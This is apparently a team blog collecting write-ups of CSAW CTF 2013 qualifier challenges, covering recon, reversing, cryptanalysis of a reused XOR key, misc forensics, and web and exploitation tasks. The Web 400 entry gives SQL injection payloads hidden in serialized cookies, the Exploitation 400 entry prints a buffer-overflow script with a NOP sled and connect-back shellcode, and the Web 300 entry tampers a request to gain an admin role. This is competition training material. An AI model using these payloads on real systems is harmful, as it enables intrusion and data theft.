The Jordan Wiens recon began where 2012's recon ended, at key.psifertex.com. His site gave the hint, "Michael Vario sure does some suspicious signs, hope he doesn't do me."  This led us to Google Michael Vario and find that his name was often associated with the PGP key world. Searching Jordan Wiens in a public PGP key database (pgp.mit.edu, any database works) showed a public key with the User ID "Jordan Wiens (CSAW folks: getting warmer) <csaw@psifertex.com>"   it also showed the key having a "user attribute packet" After musing over this hint for far too much time we decided to look into what a "user attribute packet" was. Turns out it is a picture embedded in the public key. We were able to find a database which displays a "user attribute packet" in line with the web page (keyserver.gazzang.net). Searching Jordan Wiens in this data base resulted in a picture with the key handwritten out.      
key{mvarioisnotmyhomeboy}
-wardawg

Odin (100):


Looking at the Whoami on snOwDIN in the IRC gave the hint linkedin:chinesespies. This lead us to search the user chinesespies on linked in. turned out to me an "Eddie Snowdin" spoof account with the key written out in the Skills & Expertise section. 
key{cookies_are_for_csaw}
-wardawg, 

Brandon Edwards (100):


Searching Google, we found that Brandon Edwards is often referred to as drraid. Searching drraid in google lead us to his github account. Scrolling through the posts allowed us to find: "Hai Guys, for CSAW CTF Judge responsibility I have to hide a recon key." The key is located in the post at: Github
key{a959962111ea3fed179eb044d5b80407}
-hawkeye

Julian Cohen (100):


Some googling found that his handle is HockeyInJune. Searching this gave his Wikipedia user page User:HockeyInJune which only displayed "Check out my new website omnom.nom.co" visiting the site's IP address gave the key 
key{1a8024a820bdc7b31b79a2d3a9ae7c02}
-wardawg, lilniqy



Theodore Reed (100):

A hint was that it was within 3 clicks of prosauce.org, with that number increasing to 4 due to "asshole" CTF players. I took that last addition to mean that there was some sort of user comment functionality which would allow for this number to change, and require an extra click to get to. I wget'ed off of prosauce.org with
wget -e robots=off --tries=40 -r -H -l 4 prosauce.org
This downloaded everything. I then recursively grepped for the key, printing out each file that contained "key=". Looking through the list, I found a youtube link, with a comment as the key.

The youtube comment didn't have "key=" ironically, so I thank the people at youtube for including that somewhere in their code and matching my search term.

http://www.youtube.com/all_comments?v=RCTRSK45bS4
key{shmoonconrocksglhfwithcsaw}

-albinotomato

Thursday, September 26, 2013

CSAW CTF Quals: Reversing 150 - bikinibonanza

When you first run the program you are greeted by a GUI that has a picture of the sea and a saw, CSAW, so clever. When strings are submitted to the program it compares it to some value and then branches based on the comparison. If an incorrect string is submitted the program randomly selects a predefined, snarky response and displays. One of these responses just so happens to be a link to being "Reg Rolled," hilarious right?

                 "OMG, You're SOOO Freaking Close",
                "Try Harder - I can tell you want this",
                "Wow, What a great answer - but it's wrong",
                "You're about 10% right",
                "You almost got it, just add three!",
                "So close, maybe subtract three?",
                "YES! wait, no... try harder",
                "Wrong..",
                "Google \"do a barrel roll\"",
                "Did you see: https://www.youtube.com/watch?v=I6OXjnBIW-4"
                "Its a SAW... in the SEA.."


I used two programs to decompile this program. I started off with good ole' Ilspy to see if it was possible to get the source code, rather than have to work with assembly. Unfortunately, Ilspy was only able to decompile part of the program:

using System;
using System.ComponentModel;
using System.Drawing;
using System.Reflection;
using System.Resources;
using System.Runtime.ExceptionServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
{
    public class Form1 : Form
    {
        private TextBox eval_ᜀ;
        private Button eval_ᜁ;
        private TextBox eval_ᜂ;
        private PictureBox eval_ᜃ;
        private Container eval_ᜄ;
        {
            try
            {
                this.eval_ᜂ();
            }

            catch
            {
                base.Dispose(true);
                throw;
            }
        }

This is just part of the code I was able to decompile but as you can see there are box characters Ilspy was unable to interpret. It would be a nightmare to change these so it actually compiles and runs when copying it into Visual Studio. However, along with decompiling the code, Ilspy provided the resources being used such as background pictures for the GUI. One picture is named "Sorry You Suck", but has the words "YOU DID IT" written.


Looking through the source code I saw a branch that compared the string we enter to another string but it looks like both are altered through some heavy functions including MD5.

private void eval_ᜀ(object obj, EventArgs eventArgs)
{
    string strB = null;
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    ResourceManager resourceManager = new ResourceManager
       (executingAssembly.GetName().Name + ".Resources", executingAssembly);
    DateTime now = DateTime.Now;
    string arg_65_0 = this.eval_ᜀ.Text;
    string value = string.Format("{0}", now.Hour + 1);
    string text = "NeEd_MoRe_Bawlz";
    this.eval_ᜀ(text, Convert.ToInt32(value), ref strB);
    if (string.Compare(arg_65_0.ToUpper(), strB) == 0)
    {
      this.eval_ᜂ.Text = "";
      this.eval_ᜀ(this.eval_ᜀ(107));
      this.eval_ᜁ();
      this.eval_ᜂ.Text = string.Format(this.eval_ᜂ.Text, this.eval_ᜀ(resourceManager));
      this.eval_ᜃ.Image = (Bitmap)resourceManager.GetObject("Sorry You Suck");
    }
    else
    {
      this.eval_ᜃ.Image = (Bitmap)resourceManager.GetObject("Almost There");
      this.eval_ᜀ();
    }

So this branch looks promising and I could easily just change it to always run since the key is not computed based on our input. However, getting the source code to work and run in visual studio is a harder path than necessary. So my next step was to use ildasm in visual studio command prompt to decompile the file and save the output to a text file.

The structure for this command is: ildasm /bytes [PEfilename] /out = filename



After creating the file, I opened it and searched for "Sorry You Suck" to find the area of the branch statement quickly.

There is a brtrue.s (branch if true, short) just above the sorry you suck we found. This brture.s jumps right over sorry you suck to the part that shows an incorrectly entered message. So I looked at the byte representation of the line which is 0x 2D 63. 2D is the opcode for btrue.s, and I want to change it to brfalse.s (2C) so that we always proceed to sorry you suck. To do this, I launched HexEditor and searched for the 2D 63 sequence. I then changed 2D to 2C, saved the file and ran it.


We are then presented with "YOU DID IT" and the key.



key: 0920303251BABE89911ECEAD17FEBF30

- m4d_D0g

CSAW CTF Quals: Web 400 - Widgets

Once an account was registered on the site, the account should have been logged into. This account can have any username and password.

If you explore the page you will find that there is a background image of a dog. The CSS also had an ASCII image of a dog and contained text that said “Doge flage is the key,” which was later changed to “doge flage is not the key.” These were all red-herrings and did not play a part in finding the key at all.

You could also make widgets on this site and after some observation, you could see the cookies on the page change when a new widget was created.

The widget_tracker cookie was found to be base64 encoded and could be converted to an ASCII string along the lines of:
a:“number of widgets”:{i:“widget one”;id:“widget one id”;i:“widget two”;id:“widget one id”;}
The widget_validate cookie was found to be just a sha512 encryption of this string.

After a lot of testing, we found that cookies could be modified an passed containing SQL injections. The format for them was similar to the following:
a:“number of widgets”:{i:“widget one”;s: “length of injection”:”injection”;}
A useful tool for editing cookies is the “edit this cookie” extension for chrome. Remember to find the length of the injection and input the value after “s:”

By experimenting with SQL injections we were able to determine there was an information schema with four columns using the following ASCII value of the cookies.
a:1:{i:0;s:109:"7933 or 1-1) UNION SELECT TABLE_NAME, TABLE_NAME, TABLE_NAME, TABLE_NAME  FROM information_schema.tables; -- ";}

Within this information schema there was a table named flag. So a new cookie was made to view this table using the following ASCII string:
a:1:{i:0;s:44:"7933) UNION SELECT *, 1, 2, 3 FROM flag; -- ";}

This created the widget_tracker base64 cookie: YToxOntpOjA7czo0NDoiNzkzMykgVU5JT04gU0VMRUNUICosIDEsIDIsIDMgRlJPTSBmbGFnOyAtLSAiO30%3D

This also create the widget_validate cookie: 17cd76a036f7541bac1e669ffada8a9389848e9bd19606689860a294f37800216bd6cfa37c2ff2a402c7809b94fb28185958ddfeb14373f0d4694c48a9704682

These were submitted and the page was refreshed (shown below).



If you inspect an element on the page and shift through the code you will find the key! “key{needs_moar_hmac}”



-hackarali


Wednesday, September 25, 2013

CSAW CTF Quals: Misc 50 50 100 200

Misc #1  50pts

The file provided was a pcap file, wireshark it is.



Telnet looks interesting so right click and follow the tcp stream.



…..And key.

Misc #2 50 points
I didn’t know what a .process file was, but I figured that notepad++ would at least provide an initial starting point.

Instead I found the key. 


Misc #3 100 points

The file provided was a blank white png. Decided to look at the png in paint.  There seemed to be some different colors so I filled in the background with paint:



And Key.

Misc #4 200 points

Again the file provided is a png file; however, this png is corrupted and will not open with most image viewers. (except Microsoft’s default image viewer) Opening up the file with tweakpng, we noticed that the crc sum was not correct.


Tweakpng allows the information in the file to be modified.



We played around with these values until we came up with this image:


The values we came up with were:



Zooming in on the photo we saw:



The Key! For your convenience I outlined the letters below.

Key{TheISISPasswordIs}



-zlouity

Tuesday, September 24, 2013

CSAW CTF Quals: Reversing 500 Noobs First Firmware Mod

Initially, we get a number of files, which appear to be an ARM program. Imp3rial figure out how to boot and run the program in qemu, allowing us to emulate the correct hardware.  How to Emulate.

 However, to get a good view of the program, I looked at it in IDA. Within IDA, I found two functions of relevance. First, there is the clearly named do_csaw method, shown below.




From this disassemlby, the function can be seen to read values between 0x80002013 to 0x8000203B, and then prints to the memory assigned by the malloc() call. However, when we look at the memory in qemu, there are no values ever loaded into those memory addresses. Since the emulator that we are using allows for command line read/write of memory, I looked at those addresses. While write attempts did not produce any error messages, it did not actually write the memory.

While I figured out how to deal with this, I found another function in IDA that seemed relevant, shown below.


While the rest of the method seems to do something in regards to networking, it also writes the string "SUPERSEXYHOTANDSPICY" to the address read by do_csaw. However, as said above, the write must have failed due to the restrictions on the memory. Although there probably is some way of increasing the size of memory, I found it easier to alter the locations of the read/write between the two methods. I changed it from 0x80002013 and 0x8000203B to 0x07002013 and 0x0700203B, which testing confirmed in qemu as writable. Also, since I believed smc_init to be extraneous to what I was actually trying to accomplish, I altered it to load "SUPERSEXYHOTANDSPICY" to memory, and then exit. Modified functions can be seen below, beginning with smc_init.

do_csaw




I also changed do_csaw to call smc_init to load the memory. Running the program using qemu shows that 0x07002013 is successfully loaded, but searching the memory turns up nothing. However, running the program using gdb multiarch allowed me to step through memory, and see what the program was trying to write. Using carefully selected breakpoints, I was able to see the program was writing output, but it seemed to be continually overwritten by the "2D" value loaded earlier into a register. Using GDB allowed me to read before the overwrite, and get the key.

key={SPREYOADPC}

-albinotomato
 Im

CSAW CTF Quals: Reversing 400 Keygenme32

This linux executable took three inputs, and printed a smiley (good) or frowny (bad) face based on these inputs. First, I looked at the program in IDA, and found a method that determines which face prints. The disassembly for this method is below.


This function takes four inputs. Upon inspection in GDB, two of arguments passed are directly from the original input, when the file was ran in terminal. For the above disassembly, arg_8 is the first input, and arg_C is the second. These are compared at the end of the program to arg0 and arg0+4, which both come from the first input, in some sort of modification. In order to get successful output from this section

arg0 == arg8 XOR 31333337

arg0+4 = a rearrangement of arg_C. To get from arg_C to the corresponding arg0+4, the last byte stays the same, the first byte becomes the third, and the second and third byte to go to first a second.

For example 0x11223344 -> 0x22331144

However, this does nothing to tell us how to get the first two values. I spent a lot of time looking at the code without really getting anywhere. Thankfully, there are ways around this. Imp3rial and I ended up scripting GDB in order to get the immediate values. We accomplish this by writing to the .gdbinit file, and using popen to automate things. The problem was solved using the following script (some imports were used in test version, but not include in final functionality).


import os, sys, pexpect, fdpexpect, socket, struct, time
from subprocess import Popen, PIPE
so = socket.socket()
so.connect(('128.238.66.219', 14549))
temp = so.recv(1024)
print(temp)
for i in xrange(100):
 temp = so.recv(1024)
 print("new range " + temp)
 inputStuff = temp.split(' ')[-1].strip("\n")
 print('input stuff ' + inputStuff)
 f = open('/home/student/.gdbinit', 'w')
 writeString = "file ./keygenme32.elf\n"
 writeString += 'break _Z5checkiiii\n'
 writeString += 'start ' + inputStuff + ' 0x11 0x11\n'
 writeString += 'run\n'
 writeString += 'x/x $ebp+0x8\n'
 writeString += 'x/x $ebp+0xc\n'
 writeString += 'quit\n'
 f.write(writeString)
 f.close()
 a = Popen('gdb', shell=True, stdout=PIPE, stderr=PIPE)
 temp = a.communicate()[0].split(' ')[-21].split('\t')
 #print(temp) 
 input1 = temp[1][0:10]
 input2 = temp[2][0:10]

 result1 = int(input1,16) ^ 0x31333337
 result2 = input2[0:2] + input2[6:8] + input2[2:6]+ input2[8:10]
 result1 = str(hex(result1).zfill(8)).strip("L")
 print(result1)
 print(result2)
 output = str(int(result1,0)) + " " + str(int(result2,0)) + "\n"
 so.send(output)
 print("output is " + output)

 print(so.recv(1024))
 print(so.recv(1024))
 print("##########################################################")

Post competition, it appears that the code implemented some sort of vm, with its own instructions. However, looking at writeups, it appears that most people did what I did, and scripted a debugger.

key{#r3vers1ng_emul4t3d_cpuz_a1n7_h4rd}

-albinotomato

CSAW CTF Quals: Cryptography 300 Onlythisprogram

For this challenge, we are given the onlythisprogram.tar.gz file. We extracted the files and in that file was the onlythisprogram.py script and an output file with 9 fileX.enc files. Looking through the python code, this line is of interest:
args.outfile.write(chr(ord(keydata[counter % len(keydata)]) ^ ord(byte)))
This line shows that the operation of interest is an XOR operation. Here is a reading on that vulnerability:

The first thing that I thought might have been it was crib dragging, exactly like it showed in the reading. Still brainstorming, however, I guessed that it probably wasn't just text files, but the ENC files were the encrypted files.

Okay, still looking at the same line we have above, the modulus is happening with the length of the keydata. Further above, you see this:
while (args.secretkey.tell() < blocksize):
Blocksize is set to 256 at the top so you know that the secretkey file is a 256 byte key that is used over and over again until the files are done being encrypted.

Great! Now it's time to build the decryption script.

I want the script to take the bytes from two files and then XOR them together and output that to an outfile. This is pretty much a straight Ctrl+C, Ctrl+V from the CSAW provided python file! #EPIC!

So, if each fileX.enc represented a file, then they would probably have headers that we know are at the beginning. This is the library that I used for the file headers.

So now you need to understand what cribbing does. Here's an example. If you have encrypted byte AE and encrypted byte BE, both of which use the same key (K), you can XOR AE and BE together. What that does is it gets rid of the key and gives you A ^ B, where A and B are the original bytes. At that point, if you XOR that with the original byte A, you will get the original byte of B.

So for this particular challenge, if we suspect that the file1 is supposed to be a DOC file, for example, we can assume the original byte in that position should be the header byte of a DOC file. If the bytes returned is not gibberish, then we know that one of file1 or whatever file we XOR'd it against to be a DOC file. Here's the code for this function:
header=open('header','w+')
header.write('\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00')
header.seek(0)

...

while 1:
    byte1, byte2 = args.infile1.read(1), args.infile2.read(1)
    if not byte1 or not byte2:
        break
    temp.write(chr(ord(byte1) ^ ord(byte2)))

temp.flush()
temp.seek(0)

while 1:
    byte1, byte2 = args.infile1.read(1), temp.read(1)
    if not byte1 or not byte2:
        break
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))
I did this with file0 and ran it against the other files until something gave me another header set that was in the website that I showed you. File0 was not a doc file, as most other files gave me gibberish in return, but one of the files was. I then took that file and ran the same operation against all the other files and was able to find all the file types.

file0 - MID, MIDI
file1, 3 - JFIF, JPE, JPEG, JPG
file2 - PNG
file4 - GZ, TGZ
file5 - BMP, DIB
file6 - GIF
file7 - DOC, DOT, PPS, PPT, XLA, XLS, WIZ
file8 - PDF, FDF

The longest header available to us is the JPG file type. After that, I was able to use trailer bytes to find out with certainty 4 more bytes. At this point, I was a little stumped so I downloaded a lot of files matching the file types I needed. Eventually, I realized that BMP files (at least in the ones I downloaded) had several large blocks of FF bytes. (Read using Hex Editor - I used HxD)

So using a byte of FF for the original message, I ran that against file5. Hopefully, I would get a large chunk of the secretkey.dat file. Maybe even the whole thing! Here's the code to do that:
while 1:
    byte1, byte2 = args.infile1.read(1), '\xff'
    if not byte1 or not byte2:
        break
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))
I named this file buzzbmp and went through every 256 byte block until I found one that matched up with my first 11 byte block. I copy and pasted that using HxD to a new secret.dat file and ran the original onlythisprogram.py script with the following code commented out:
#args.secretkey.truncate()

#while (args.secretkey.tell() < blocksize):
# maybe remove the next line for release since it makes it more obvious the key only generates once?
#	sys.stdout.write('.')
#	args.secretkey.write(os.urandom(1))
The file to decrypt I used was the PDF file, file8. After several iterations of error checking for correct and incorrect bytes, a decrypted PDF file that had a few errors. However, I had enough correct bytes in that secret.dat test file that a lot of strings were intact. I had about two bytes that were off. Here is that secret.dat file: secretkeywrong
Incorrect Secret.dat File

To narrow those down and correct them, I went through the file looking for intact strings. I was able to narrow down the incorrect bytes and, because I knew what a few of the strings should have looked like, I was able to correct the incorrect bytes and build the correct key! Manually. #CRYPTOOOO

secretkeycorrect
Correct Secret.dat File :)

I decrypted every file and then extracted everything from file4.gz. File4 contained the key, which we opened up in Notepad++. It says in ASCII block text, "For some reason psifertex really likes Aglets (??? - Not sure about this word really.) In this case it's necessary because the file size should not be a huge giveaway. Though I suppose images would have worked too. Anyway, the key: BuildYourOwnCryptoSoOthersHaveJobSecurity"

And there's your key! Here's all the code that I used to build my secret.dat files. It's a bit messy with the commenting though!
import sys
import argparse

parser = argparse.ArgumentParser(description="n.a")
parser.add_argument('--infile1', metavar='i1', nargs='?', type=argparse.FileType('rb'), help='input1 file, defaults to standard in', default=sys.stdin)
parser.add_argument('--infile2', metavar='i2', nargs='?', type=argparse.FileType('rb'), help='input2 file, defaults to standard in', default=sys.stdin)
parser.add_argument('--outfile', metavar='o', nargs='?', type=argparse.FileType('w+'), help='output file, defaults to standard out', default=sys.stdout)

# outfile a+ option opens file for both append and read. New file created for read/write if no a

args = parser.parse_args()
temp = open('temp', 'w+')
temp.truncate()
header=open('header','w+')
header.write('\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00')
header.seek(0)
key=open('key', 'w+')
key.write('\x40\x50\x3A\xC8\x2D\x69\xF7\xD3\x02\x3A\xF4\xAC')
key.seek(0)
#fuzz.open('fuzz', 'w+')
#fuzz.write('\xff'*256)

#while 1:
#    byte1, byte2 = args.infile1.read(1), args.infile2.read(1)
#    if not byte1 or not byte2:
#        break
#    temp.write(chr(ord(byte1) ^ ord(byte2)))

#temp.flush()
#temp.seek(0)

while 1:
    byte1, byte2 = args.infile1.read(1), '\xff'
    if not byte1 or not byte2:
        break
    args.outfile.write(chr(ord(byte1) ^ ord(byte2)))


sys.stderr.write('Done.\n')

Please comment down below if you have an comments or questions for me! Thanks for reading!

--dotKasper

CSAW CTF Quals: Reversing 100 DotNetReversing.exe

This challenge was very straightforward and actually took longer to decompile and throw into visual basic than to actually reverse. Just running the program will give as an output on a console of:

"Greetings challenger! Step right up and try your shot at gaining the flag!"
"You'll have to know the pascode to unlock the prize:"

The program then waits for console input. I tried putting in "test" and the program immediately threw an exception and crashed. I then proceeded to decompile it in ILSpy and threw the nice C# code into visual basic. I immediately noticed a branch statement.

if ((num ^ num2) == num3)
{
   Console.WriteLine("yay");
}

else
{
   Console.WriteLine("Incorrect, try again!");
}



Just based on the console output, we can safely assume we want to meet the conditions (num ^ num2) == num3 to get to "yay." The ^ operator means XOR (exclusive or) and essentially returns the difference in bit values between the numbers. By looking at the code we can see that num = our input converted to base 64. Because num is used later in the program to compute the actual key we need the actual correct value. Because I'm not particularly found of hard math or needless calculations by hand, I changed num = num2^num3. This sets num to the correct value. I then saved the program, ran it, and was presented with:

yay
flag{I'll create a GUI interface using visual basic...see if I can track an IP address.}
Success!!
press key to continue



key: I'll create a GUI interface using visual basic...see if I can track an IP address.


- m4d_D0g

CSAW CTF Quals: Exploitation 400_1

The dissassembly for this program tended to be more confusing than helpful. Fuzzing the program for a brief amount of time, we found the capability write over eip with an input of 417 bytes. Luckily enough, esp pointed to the middle of the text that we sent in. So, most our input contained a nop sled to the reverse shell and an address to jump to esp. The winning script follows:
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("128.238.66.221", 5930))
f = open("connectback_shell",'r')
shellcode = f.read()
f.close()
print s.recv(1024)
s.sendall("\x90"*(417-len(shellcode)-4) + shellcode + "\x90"*4 + struct.pack("<I", 0x080c6b1f) )
print s.recv(1024))
Comments welcome and questions feel free to ask!

--Imp3rial

CSAW CTF Quals - Web 300: herpderper.apk

For web 300 we were given an android application .apk file. After installing the application to an android phone and running it, we saw that it communicated with a remote location to determine if the login credentials were valid.

After decompiling the .apk file and looking through the source code, we found that the application contacted the website: https://webchal.isis.poly.edu/csaw.php. Visiting this site in a web browser returned no interesting results, other than the indication that we should visit the site using the mobile application.

This lead us in the direction of finding the request sent to the page from the application. viewing the doInBackground() method provided the existence of three vars that were base64 encoded then sent across to the website. The source of this method looks like this:

protected doInBackground(String[] uri) {
    v14 = android.os.Debug.isDebuggerConnected();
    if (!v14) {
        short v14 = 0x539;
        v14 = v14 / 0;
    } else {
        java.net.URL v11 = 0;
        try {
            v14 = 0;
            v14 = uri[v14];
            v12 = new java.net.URL(v14);
        } catch (java.net.MalformedURLException) {
        }
        v11 = v12;
        java.net.HttpURLConnection v13 = 0;
        try {
            v14 = v11.openConnection();
            v0 = v14;
            assert v0 instanceof java.net.HttpURLConnection;
            v13 = v0;
            v14 = 1;
            v13.setDoOutput(v14);
            v14 = "POST";
            v13.setRequestMethod(v14);
            ops.black.herpderper.TrustModifier.relaxHostChecking(v13);
            v5 = v13.getOutputStream();
            v14 = 1;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v2 = android.util.Base64.encodeToString(v14, v15);
            v14 = 2;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v8 = android.util.Base64.encodeToString(v14, v15);
            v14 = "\n";
            v15 = "";
            v14 = v2.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v2 = v14.replace(v15, v16);
            v14 = "\n";
            v15 = "";
            v4 = v8.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v8 = v14.replace(v15, v16);
            v14 = new StringBuilder();
            v15 = "identity=";
            v14 = v14.append(v15);
            v14 = v14.append(v2);
            v15 = "&secret=";
            v14 = v14.append(v15);
            v14 = v14.append(v8);
            v15 = "&integrityid=";
            v14 = v14.append(v15);
            v15 = 3;
            v15 = uri[v15];
            v14 = v14.append(v15);
            v9 = v14.toString();
            v14 = v9.getBytes();
            v5.write(v14);
            v5.close();
            v13.connect();
        } catch (Exception) {
        }
        v0 = p0;
        v7 = v0;
        try {
            v14 = v13.getInputStream();
            v3 = new BufferedInputStream(v14);
            v14 = new java.io.InputStreamReader(v3);
            v6 = new BufferedReader(v14);
            v10 = new java.lang.StringBuilder();
            while (true) {
                v4 = v6.readLine();
                if (!v4 == 0) { // break? -> :cond_1
                    v10.append(v4);
                } else {
                    v7 = v10.toString();
                    v13.disconnect();
                    return v7;
                }
            }
        } catch (org.apache.http.client.ClientProtocolException v14) {
            v13.disconnect();
        } catch (java.lang.Exception) {
        }
    }
}

The three variables were identity, secret, and integrityid. Sending a GET request to the website without sending the correct "integrityid" variable resulted in a client integrity fault message from the page:

{"response":{"status":"failure","msg":"Client integrity fault"}}

Using burp suite to find the correct integrityid, we sent that across and got the response from the page. The challenge then became a matter of exploiting the website. We wrote a quick python script to execute the request:

import socket, gzip, base64

def main():

    identity='''admin'''
    secret='''password'''
    requestbefore='''identity=%s&role=YWRtaW4=&secret=%s&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9'''%(str(base64.b64encode(identity)), str(base64.b64encode(secret)))
    request2 = '''POST /csaw.php HTTP/1.1

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
'''%str(len(requestbefore))

    request = request2 + requestbefore
    print request

    s = socket.socket()
    s.connect(('webchal.isis.poly.edu', 80))

    s.sendall(request)
    while(1):
        derp = s.recv(1024).strip()
        if(derp):
            break

    derp = derp.split('text/html')[1].strip()
    writefile = open('derp.txt.gz','wb')
    writefile.write(derp)
    writefile.close()

    f = gzip.open('derp.txt.gz', 'rb')
    file_content = f.read()
    print "\n\n" + file_content
    f.close()

if __name__ == "__main__":
    main()

The script would send a GET request to the website that looked like this:

POST /csaw.php HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: ###

identity=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9

Where ### was the length of the data sent below the Content-Length line. The website replied with the following response:

{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379429423","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"anonymous","accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}

After fiddling with various login names and passwords, we ran out of time in the competition. The final step of the challenge was to modify the request to include the variable "role", where role=admin in base64. In essence, the final request would look like this:

identity=YWRtaW4=&role=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9
Where the variable "role" is simply inserted into the request. This would have returned the following response:

{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379429491","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}
lilniqy, Hawkeye, albinotomato